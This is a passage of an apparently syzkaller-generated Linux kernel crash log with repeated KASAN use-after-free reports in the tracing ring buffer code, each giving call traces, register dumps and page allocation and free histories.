ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x387/0x3d0 kernel/trace/trace_output.c:541
Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x387/0x3d0 kernel/trace/trace_output.c:541
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x3a2/0x3d0 kernel/trace/trace_output.c:546
Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x3a2/0x3d0 kernel/trace/trace_output.c:546
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_prep+0x1f9/0x240 kernel/trace/trace_output.c:339
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_prep+0x1f9/0x240 kernel/trace/trace_output.c:339
trace_raw_output_lock+0x47/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_lock+0x63/0xd0 include/trace/events/lock.h:65
Read of size 8 at addr ffff888119b6ec34 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_lock+0x63/0xd0 include/trace/events/lock.h:65
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_lock+0xc9/0xd0 include/trace/events/lock.h:65
Read of size 4 at addr ffff888119b6ec2c by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_lock+0xc9/0xd0 include/trace/events/lock.h:65
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in ignore_event+0x9c2/0xa60 kernel/trace/trace.c:2526
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
ignore_event+0x9c2/0xa60 kernel/trace/trace.c:2526
trace_event_printf+0xa7/0x170 kernel/trace/trace_output.c:356
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
